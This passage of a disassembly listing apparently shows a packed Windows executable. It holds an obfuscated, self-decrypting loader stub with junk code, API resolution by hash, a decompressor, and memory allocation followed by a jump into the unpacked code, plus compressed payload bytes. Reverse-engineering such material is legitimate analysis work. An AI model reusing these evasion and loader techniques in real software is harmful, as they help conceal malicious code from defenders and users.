		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_460D80	db 0			; DATA XREF: sub_416DE3+5Co
					; sub_416DE3+AFo ...
byte_460D81	db 0			; DATA XREF: sub_4121E8+5Dr
					; sub_416DE3+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_460E84	dd 0							; sub_416DE3+12Bw ...
dword_460E88	dd 10h							; sub_413BAF+5r ...
dword_460E8C	dd 0							; sub_41357B+259r ...
dword_460E90	dd 0AC0650h						; sub_41357B+310w ...
dword_460E94	dd 0							; sub_41357B+22Cr ...
dword_460E98	dd 1							; sub_413550r ...
dword_460E9C	dd 0AC0650h						; sub_413550+8r ...
dword_460EA0	dd 0AC0000h						; sub_410C83+21r ...
dword_460EA4	dd 142340h						; seg000:00417511r
dword_460EA8	dd 1							; sub_41A1B6r
dword_460EAC	dd 1							; sub_4171A7+11w ...
dword_460EB0	dd 0AD1B4Ch						; sub_411613:loc_411655r ...
dword_460EB4	dd 0AD1B40h						; sub_411613+Cr ...
byte_460EB8	db 1			; DATA XREF: sub_41AFB4+15r
					; sub_41AFB4+1Ew
		align 200h
seg002		ends

; Section 4. (virtual address 00061000)
; Virtual size			: 0001B000 ( 110592.)
; Section size in file		: 0001B000 ( 110592.)
; Offset to raw	data for section: 00061000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 461000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 90h
		db 60h,	0E8h, 3
		dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h,	0FFEDBB5Dh
		dd 0DD03FFFFh, 1000EB81h, 7D800006h, 0C75014Dh,	2824748Bh
		dd 8901FE83h, 31754E5Dh, 5053458Dh, 0EDB5FF53h,	8D000009h
		dd 0E9503545h, 82h, 390000h, 30000h, 7C809AE4h,	3BE000h
		dd 7C801D77h, 7C80B6A1h, 0
		dd 0C0F8B800h, 505023A5h, 5B4E4503h, 1C74C085h,	81E801EBh
		dd 0A5C0F8FBh, 33357423h, 6A56D2h, 4E75FF56h, 835ED0FFh
		dd 247500FEh, 458BD233h, 74C08541h, 0FF525207h,	0D0FF3575h
		dd 8535458Bh, 680D74C0h, 8000h,	75FF006Ah, 3D55FF35h, 61DB0B5Bh
		dd 16A0675h, 0CC258h, 0D8F7C033h, 0C240C01Bh, 0BB66000Ch
		dd 0EE8E7C0h, 3E000000h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h
		dd 0D8816633h, 535F55FAh, 8158F88Ah, 89BC7h, 2BC78B00h
		dd 0FFFC8AD2h, 49BE3A34h, 590C2D5Dh, 0AEA78BB8h, 9AF1815Ah
		dd 8101D882h, 16B7CBF1h, 58F0F5Eh, 0BE000000h, 620B2AB9h
		dd 4BA8E981h, 66512DAEh, 0AFD6F681h, 0E917048Fh, 12h, 29B0F362h
		dd 0E5DC4FAEh, 61C86BBAh, 9D744786h, 13E8E312h,	3F000000h
		dd 5B6A550Ch, 3736D1F8h, 0D3C20DA4h, 2F0E0910h,	850FC53Ch
		dd 6, 817DCB81h, 8358394Eh, 0BF0F03EAh,	8D0F4AF0h, 0
; ---------------------------------------------------------------------------
		cmp	edx, 0FFFFF84Ch
		jnz	loc_461199
		or	bl, 0Fh
		jmp	loc_4611BE
; ---------------------------------------------------------------------------
		dd 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h
		db 15h
; ---------------------------------------------------------------------------


loc_461199:				; CODE XREF: .data:0046117Aj
		push	ecx
		push	6BA1F3F7h
		mov	esi, 2DF7D893h
		pop	eax
		pop	ebx
		jmp	near ptr dword_461064+93h
; ---------------------------------------------------------------------------
		db 0EFh
		dd 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h
; ---------------------------------------------------------------------------
		sub	al, 0F5h


loc_4611BE:				; CODE XREF: .data:00461183j
		call	sub_4611D6
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0ABFA251Ch, 87C6A108h, 2352DDB4h, 7F9ED920h
		db 4Ch,	95h

; =============== S U B	R O U T	I N E =======================================



sub_4611D6	proc near		; CODE XREF: .data:loc_4611BEp
		sub	dx, 4577h
		pop	ecx
		call	sub_4611EF
		dec	esi
		outsd
		jl	short near ptr loc_4611E9+1
		pop	edx
		mov	ebp, [eax-7Fh]


loc_4611E9:				; CODE XREF: sub_4611D6+Dj
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3
sub_4611D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4611EF	proc near		; CODE XREF: sub_4611D6+6p
		add	ch, 0ACh
		pop	esi
		call	near ptr loc_461206+2
		cwde
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st


loc_461206:				; CODE XREF: sub_4611EF+4p
		mov	edx, 0CBB70F6Bh
sub_4611EF	endp ; sp-analysis failed

		pop	edx
		add	esi, 78Fh
		movzx	ecx, dx
		mov	eax, 1B8h
		mov	cl, 6Ch


loc_46121C:				; CODE XREF: .data:00461284j
		push	dword ptr [esi]
		push	ecx
		push	8690FC5h
		mov	edx, 5D07C0E6h
		pop	ebx
		pop	ebx
		pop	edi
		movzx	ecx, di
		add	edi, 48F1D331h
		movsx	edx, si
		xor	edi, 6360A16h
		mov	dx, 5F70h
		xor	edi, 7F192F97h
		and	dl, 2Bh
		mov	[esi], edi
		mov	ecx, ebx
		sub	esi, 4
		jmp	loc_46125C
; ---------------------------------------------------------------------------
		db 59h
		dd 15CCFF1Eh
; ---------------------------------------------------------------------------


loc_46125C:				; CODE XREF: .data:00461252j
		dec	eax
		jnz	loc_46127E
		mov	dx, 2764h
		jmp	loc_461294
; ---------------------------------------------------------------------------
		dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h
		db 32h,	83h
; ---------------------------------------------------------------------------


loc_46127E:				; CODE XREF: .data:0046125Dj
		push	10ADA17Eh
		pop	edx
		jmp	loc_46121C
; ---------------------------------------------------------------------------
		db 0D7h, 0C4h, 0ADh
		dd 0A93073E2h, 655CCF2Eh
; ---------------------------------------------------------------------------


loc_461294:				; CODE XREF: .data:00461267j
		push	4D9D36DDh
		pop	esi
		call	sub_4612A9
		stosb
		wait
		cmp	[ecx], dl
		jbe	short near ptr loc_461317+5
		in	al, 4Dh
		add	dl, [ebx]

; =============== S U B	R O U T	I N E =======================================



sub_4612A9	proc near		; CODE XREF: .data:0046129Ap
		pop	edi
		jmp	loc_4612B9
; ---------------------------------------------------------------------------
		pop	edx
		mov	ebp, [eax-7Fh]
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3


loc_4612B9:				; CODE XREF: sub_4612A9+1j
		add	edi, 6D1h
		jmp	loc_4612D7
; ---------------------------------------------------------------------------
		dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h
; ---------------------------------------------------------------------------
		dec	edi
		fsubr	st(5), st


loc_4612D7:				; CODE XREF: sub_4612A9+16j
		mov	ebx, 0
		call	sub_4612E7
		xchg	al, [edi+74h]
		popf
		adc	ah, bl
sub_4612A9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4612E7	proc near		; CODE XREF: sub_4612A9+33p
		call	sub_4612FF
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h
sub_4612E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4612FF	proc near		; CODE XREF: sub_4612E7p
		mov	ch, 9Ah
		pop	esi
		pop	edx


loc_461303:				; CODE XREF: sub_4612FF+66j
		mov	eax, [edi+ebx]
		mov	edx, 3C53CBCAh
		xor	eax, 32B3741Ch
		sub	esi, 979FA04h


loc_461317:				; CODE XREF: .data:004612A3j
		xor	eax, 2D712825h
		push	edi
		sub	esi, 115EBB7Ah
		pop	ecx
		xor	eax, 45078DFAh
		push	edx
		mov	dx, ax
		pop	esi
		push	eax
		mov	ecx, esi
		pop	dword ptr [edi+ebx]
		sub	ebx, 83428D0h
		add	ebx, 83428CCh
		mov	dx, 41E8h
		cmp	ebx, 0FFFFFA04h
		jnz	loc_46135F
		jmp	loc_461378
; ---------------------------------------------------------------------------
		align 4
		cmp	[esi-21h], edi
		sub	al, 0F5h
		mov	bh, bl


loc_46135F:				; CODE XREF: sub_4612FF+4Dj
		push	esi
		mov	cx, 0F473h
		pop	esi
		jmp	loc_461303
; ---------------------------------------------------------------------------
		dw 0CF2Eh
		dd 0EB3A655Ch, 0C706E148h, 63921DF4h
; ---------------------------------------------------------------------------


loc_461378:				; CODE XREF: sub_4612FF+53j
		adc	edx, 66782C35h
		call	sub_461392
		cmp	ebx, [eax-4Fh]
		xchg	eax, esi
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd
sub_4612FF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_461392	proc near		; CODE XREF: sub_4612FF+7Fp
		push	ecx
		pop	ebx
		pop	ecx
		movzx	ebx, bx
		add	ecx, 5ECh
		mov	eax, 391BBF64h
		add	eax, 0C6E441E6h
		call	near ptr loc_4613B2+1
		leave
		into
		out	dx, eax
		cld


loc_4613B2:				; CODE XREF: sub_461392+17p
		test	[esi-75h], esp
sub_461392	endp ; sp-analysis failed

		rcr	byte ptr [ebx-75h], 1 ;	CODE XREF: .data:00461441j
		cmp	[edi], ecx
		mov	edi, 4BF781D0h
		mov	al, ah
		dec	edi
		ja	loc_4613D0
		push	273FF9FBh
		push	eax
		pop	ebx
		pop	edx


loc_4613D0:				; CODE XREF: .data:004613C2j
		add	edi, 61231228h
		jmp	loc_4613E0
; ---------------------------------------------------------------------------
		test	eax, 655CCF2Eh


loc_4613E0:				; CODE XREF: .data:004613D6j
		add	edi, 3E671B41h
		push	6B443948h
		pop	esi
		push	edi
		and	bh, 8Dh
		pop	dword ptr [ecx]
		adc	ebx, 7FEF27CBh
		sub	ecx, 2F5986C1h
		sbb	esi, 6E46FAF2h
		add	ecx, 2F5986BDh
		movsx	ebx, cx
		dec	eax
		jnz	loc_46143C
		call	near ptr loc_461421+5
		xor	[esi], edx
		xchg	eax, edi
		test	[ebp-5Eh], ch
		xor	esi, eax


loc_461421:				; CODE XREF: .data:00461414p
		imul	ebp, esi, 0F251C8Fh
		mov	es, word ptr [edx]
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		mov	esi, edx
		pop	esi
		jmp	loc_46144B
; ---------------------------------------------------------------------------
		and	cl, bl
		sahf
		jg	short loc_461485
		xchg	eax, ebp
		stosb
		wait


loc_46143C:				; CODE XREF: .data:0046140Ej
		mov	esi, 7FA79913h
		jmp	near ptr loc_4613B5+2
; ---------------------------------------------------------------------------
		dw 4E49h
		db 6Fh,	7Ch, 5
; ---------------------------------------------------------------------------


loc_46144B:				; CODE XREF: .data:0046142Fj
		call	$+5
		pop	ebp
		pop	ebx
		mov	[ebp+5Bh], ebx
		pop	ebx
		mov	[ebp+5Fh], ebx
		pop	eax
		mov	[ebp+40Dh], eax
		pop	eax
		cmp	byte ptr [ebp+5Ah], 1
		jnz	short loc_4614C0
		mov	[ebp+425h], eax
		pusha
		lea	eax, [ebp+33h]
		push	eax
		xor	eax, eax
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_461765
		jmp	short loc_46149F
; ---------------------------------------------------------------------------
		db 8Bh
		db 64h
; ---------------------------------------------------------------------------


loc_461485:				; CODE XREF: .data:00461437j
		and	al, 8
		pop	dword ptr fs:0
		add	esp, 4
		popa
		lea	eax, [ebp+63h]
		push	eax
		call	dword ptr [ebp+5Fh]
		call	loc_46177B
		jmp	short loc_4614A8
; ---------------------------------------------------------------------------


loc_46149F:				; CODE XREF: .data:00461481j
		pop	dword ptr fs:0
		add	esp, 24h


loc_4614A8:				; CODE XREF: .data:0046149Dj
		jmp	short loc_4614C5
; ---------------------------------------------------------------------------
		dw 4800h
		dd 0A1004610h, 6B7C80B6h, 656E7265h, 2E32336Ch,	6C6C64h
; ---------------------------------------------------------------------------


loc_4614C0:				; CODE XREF: .data:00461465j
		call	sub_461761


loc_4614C5:				; CODE XREF: .data:loc_4614A8j
		cld
		lea	esi, [ebp+8Ch]
		lodsd
		or	eax, eax
		jz	short loc_4614EC
		mov	edi, eax
		mov	ecx, 0Ch
		rep movsb
		jmp	short loc_4614EC
; ---------------------------------------------------------------------------
		dd offset start
		dd 32C44328h, 80A21119h, 0C6FCF2BBh
; ---------------------------------------------------------------------------


loc_4614EC:				; CODE XREF: .data:004614CFj
					; .data:004614DAj
		mov	[ebp+429h], esp
		push	40h
		push	1000h
		push	dword ptr [ebp+408h]
		push	0
		call	dword ptr [ebp+3F0h]
		mov	[ebp+1CCh], eax
		mov	ebx, [ebp+400h]
		add	ebx, [ebp+40Dh]
		push	eax
		push	ebx
		call	sub_461624
		push	40h
		push	1000h
		push	dword ptr [ebp+408h]
		push	0
		call	dword ptr [ebp+3F0h]
		mov	[ebp+431h], eax
		mov	[ebp+1D0h], eax
		mov	eax, fs:0
		mov	[ebp+42Dh], eax
		mov	edx, [ebp+5Bh]
		mov	eax, [ebp+1D0h]
		mov	[edx], eax
		mov	eax, [ebp+408h]
		mov	[edx+4], eax
		lea	eax, [ebp+39Fh]
		mov	eax, [eax+55h]
		mov	[edx+8], eax
		mov	eax, [ebp+3ECh]
		mov	[edx+10h], eax
		mov	eax, [ebp+3E8h]
		mov	[edx+14h], eax
		mov	edx, [ebp+1CCh]
		mov	ebx, 1F8h


loc_461589:				; CODE XREF: .data:004615ADj
		mov	edi, [edx+ebx+0Ch]
		or	edi, edi
		jz	short loc_4615AF
		mov	ecx, [edx+ebx+10h]
		or	ecx, ecx
		jz	short loc_4615AA
		add	edi, [ebp+1D0h]
		mov	esi, [edx+ebx+14h]
		add	esi, edx
		sar	ecx, 2
		rep movsd


loc_4615AA:				; CODE XREF: .data:00461597j
		add	ebx, 28h
		jmp	short loc_461589
; ---------------------------------------------------------------------------


loc_4615AF:				; CODE XREF: .data:0046158Fj
		mov	eax, [ebp+1CCh]
		push	eax
		mov	edx, [ebp+1D0h]
		push	edx
		mov	ebx, [eax]
		add	ebx, edx
		mov	eax, [ebp+3E4h]
		mov	[ebx], eax
		mov	eax, [ebp+3E8h]
		mov	[ebx+4], eax
		mov	eax, [ebp+3ECh]
		mov	[ebx+8], eax
		pop	edi
		pop	esi
		mov	eax, [esi+4]
		add	eax, edi
		mov	[ebp+1C7h], eax
		mov	edx, [ebp+5Bh]
		mov	eax, [ebp+1C7h]
		mov	[edx+0Ch], eax
		lea	ebx, [ebp+40Dh]
		push	ebx
		push	0
		push	0
		push	1
		push	edi
		mov	ebx, [esi+8]
		add	ebx, edi
		push	ebx
		push	8000h
		push	0
		push	esi
		call	dword ptr [ebp+3F4h]
		push	3BE000h
		retn
; ---------------------------------------------------------------------------
		dd 360000h, 390000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_461624	proc near		; CODE XREF: .data:0046151Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h


loc_461632:				; CODE XREF: sub_461624:loc_461641j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_461638:				; CODE XREF: sub_461624+72j
					; sub_461624+B7j ...
		add	dl, dl
		jnz	short loc_461641
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_461641:				; CODE XREF: sub_461624+16j
		jnb	short loc_461632
		add	dl, dl
		jnz	short loc_46164C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46164C:				; CODE XREF: sub_461624+21j
		jnb	short loc_461698
		xor	eax, eax
		add	dl, dl
		jnz	short loc_461659
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_461659:				; CODE XREF: sub_461624+2Ej
		jnb	loc_461735
		add	dl, dl
		jnz	short loc_461668
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_461668:				; CODE XREF: sub_461624+3Dj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_461673
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_461673:				; CODE XREF: sub_461624+48j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46167E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46167E:				; CODE XREF: sub_461624+53j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_461689
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_461689:				; CODE XREF: sub_461624+5Ej
		adc	eax, eax
		jz	short loc_461693
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_461693:				; CODE XREF: sub_461624+67j
		mov	[edi], al
		inc	edi
		jmp	short loc_461638
; ---------------------------------------------------------------------------


loc_461698:				; CODE XREF: sub_461624:loc_46164Cj
		mov	eax, 1


loc_46169D:				; CODE XREF: sub_461624:loc_4616B1j
		add	dl, dl
		jnz	short loc_4616A6
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4616A6:				; CODE XREF: sub_461624+7Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4616B1
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4616B1:				; CODE XREF: sub_461624+86j
		jb	short loc_46169D
		sub	eax, 2
		jnz	short loc_4616E0
		mov	ecx, 1


loc_4616BD:				; CODE XREF: sub_461624:loc_4616D1j
		add	dl, dl
		jnz	short loc_4616C6
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4616C6:				; CODE XREF: sub_461624+9Bj
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4616D1
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4616D1:				; CODE XREF: sub_461624+A6j
		jb	short loc_4616BD
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_461638
; ---------------------------------------------------------------------------


loc_4616E0:				; CODE XREF: sub_461624+92j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4616EE:				; CODE XREF: sub_461624:loc_461702j
		add	dl, dl
		jnz	short loc_4616F7
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4616F7:				; CODE XREF: sub_461624+CCj
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_461702
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_461702:				; CODE XREF: sub_461624+D7j
		jb	short loc_4616EE
		cmp	eax, 7D00h
		jnb	short loc_461725
		cmp	eax, 500h
		jb	short loc_461720
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_461638
; ---------------------------------------------------------------------------


loc_461720:				; CODE XREF: sub_461624+ECj
		cmp	eax, 7Fh
		ja	short loc_461728


loc_461725:				; CODE XREF: sub_461624+E5j
		add	ecx, 2


loc_461728:				; CODE XREF: sub_461624+FFj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_461638
; ---------------------------------------------------------------------------


loc_461735:				; CODE XREF: sub_461624:loc_461659j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_461751
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_461638
; ---------------------------------------------------------------------------


loc_461751:				; CODE XREF: sub_461624+119j
		pop	ebp
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_4], edi
		popa
		pop	ebp
		retn	8
sub_461624	endp

; ---------------------------------------------------------------------------
		db 1Ch,	26h, 80h
		db 7Ch

; =============== S U B	R O U T	I N E =======================================



sub_461761	proc near		; CODE XREF: .data:loc_4614C0p

arg_20		= dword	ptr  24h

		mov	eax, [esp+arg_20]
sub_461761	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_461765	proc near		; CODE XREF: .data:0046147Cp
		and	eax, 0FFFF0000h
		add	eax, 10000h


loc_46176F:				; CODE XREF: sub_461765+14j
		sub	eax, 10000h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_46176F


loc_46177B:				; CODE XREF: .data:00461498p
		pusha
		mov	[ebp+3F8h], eax
		mov	edx, eax
		mov	ebx, eax
		add	eax, [eax+3Ch]
		add	ebx, [eax+78h]
		mov	[ebp+30Dh], ebx
		lea	ebx, [ebp+3CCh]
		lea	edi, [ebp+3E4h]


loc_46179E:				; CODE XREF: sub_461765+4Dj
		mov	esi, [ebx]
		mov	[ebp+37Ch], esi
		call	sub_4617B6
		stosd
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_46179E
		popa
		retn
sub_461765	endp


; =============== S U B	R O U T	I N E =======================================



sub_4617B6	proc near		; CODE XREF: sub_461765+41p

var_4		= dword	ptr -4

		pusha
		mov	ebx, [ebp+30Dh]
		mov	ecx, [ebx+20h]
		add	ecx, edx


loc_4617C2:				; CODE XREF: sub_4617B6+21j
		mov	esi, [ecx]
		add	esi, edx
		call	sub_4617FA
		mov	edi, 49CD75CEh
		cmp	eax, edi
		jz	short loc_4617D9
		add	ecx, 4
		jmp	short loc_4617C2
; ---------------------------------------------------------------------------


loc_4617D9:				; CODE XREF: sub_4617B6+1Cj
		sub	ecx, [ebx+20h]
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, [ebx+24h]
		add	ecx, edx
		movzx	ecx, word ptr [ecx]
		shl	ecx, 2
		add	ecx, [ebx+1Ch]
		add	ecx, edx
		mov	ecx, [ecx]
		add	ecx, edx
		mov	[esp+20h+var_4], ecx
		popa
		retn
sub_4617B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4617FA	proc near		; CODE XREF: sub_4617B6+10p
		push	edx
		mov	edx, 9C3B248Eh


loc_461800:				; CODE XREF: sub_4617FA+1Dj
		lodsb
		or	al, al
		jz	short loc_461819
		xor	dl, al
		mov	al, 8


loc_461809:				; CODE XREF: sub_4617FA+1Bj
		shr	edx, 1
		jnb	short loc_461813
		xor	edx, 0C1A7F39Ah


loc_461813:				; CODE XREF: sub_4617FA+11j
		dec	al
		jnz	short loc_461809
		jmp	short loc_461800
; ---------------------------------------------------------------------------


loc_461819:				; CODE XREF: sub_4617FA+9j
		xchg	eax, edx
		pop	edx
		retn
sub_4617FA	endp

; ---------------------------------------------------------------------------
		dd 0B72551A7h, 0A7493BF0h, 90190257h, 74EE3213h, 49CD75CEh
		dd 0
		dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 7C809A51h, 7C809AE4h
		dd 7C800000h, 14E00h, 61B1Ch, 158F2h, 30000h, 2	dup(40000000h)
		dd 3 dup(0)
		dd 1D0E800h, 0
		dd 12FFA400h, 12FFE000h, 39000000h, 100000h, 1A40000h
		dd 0D2C900h, 1C00000h, 1C0000h,	145300h, 1E00000h, 1100000h
		dd 5EDE00h, 4Dh	dup(0)
		dd 2000h, 8, 6 dup(0)
		dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 61A10h, 619FCh, 3 dup(0)
		dd 61AB4h, 61AD9h, 3 dup(0)
		dd 61ABFh, 61AE1h, 3 dup(0)
		db 0CCh
		db 1Ah,	6, 0
; ---------------------------------------------------------------------------
		jmp	loc_4620BB
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
		dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB442800h
		dd 71h,	126AEA00h, 77h,	812A0900h, 7Ch,	56000000h, 61697261h
		dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h
		dd 74706563h, 6E6F69h, 0
		dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
		dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
		dd 6592260h, 2801142Bh,	70122051h, 1A0A012Ah, 47F45001h
		dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h,	9150BD24h
		dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
		dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
		dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
		dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
		dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h,	8401E488h
		dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h,	3968726Ch
		dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
		dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h,	0DEE1D3Ah
		dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
		dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
		dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
		dd 8320720h, 3618391Ch,	100F7A14h, 80900C23h, 0BE5653C0h
		dd 0C774074Ch, 3E8312h,	44683A75h, 0CC066701h, 0DFE8036Ah
		dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
		dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
		dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
		dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h,	0ED859602h
		dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
		dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
		dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
		dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
		dd 3D0A043h, 0C795300h,	14751612h, 0E8130006h, 27D4DDA7h
		dd 0A7F6096h, 4460100h,	4C50EB6Eh, 3B4E0003h, 0D75C215h
		dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
		dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
		dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
		dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
		dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
		dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h,	9E2A26h
		dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h,	30D476B9h
		dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
		dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
		dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h,	68016A04h
		dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
		dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
		dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
		dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh,	1C259332h
		dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh,	0E4491312h
		dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
		dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
		dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
		dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh,	2C05C700h
		dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h,	0ED7E0460h
		dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h,	0AD2B0C15h
		dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
		dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
		dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
		dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
		dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
		dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
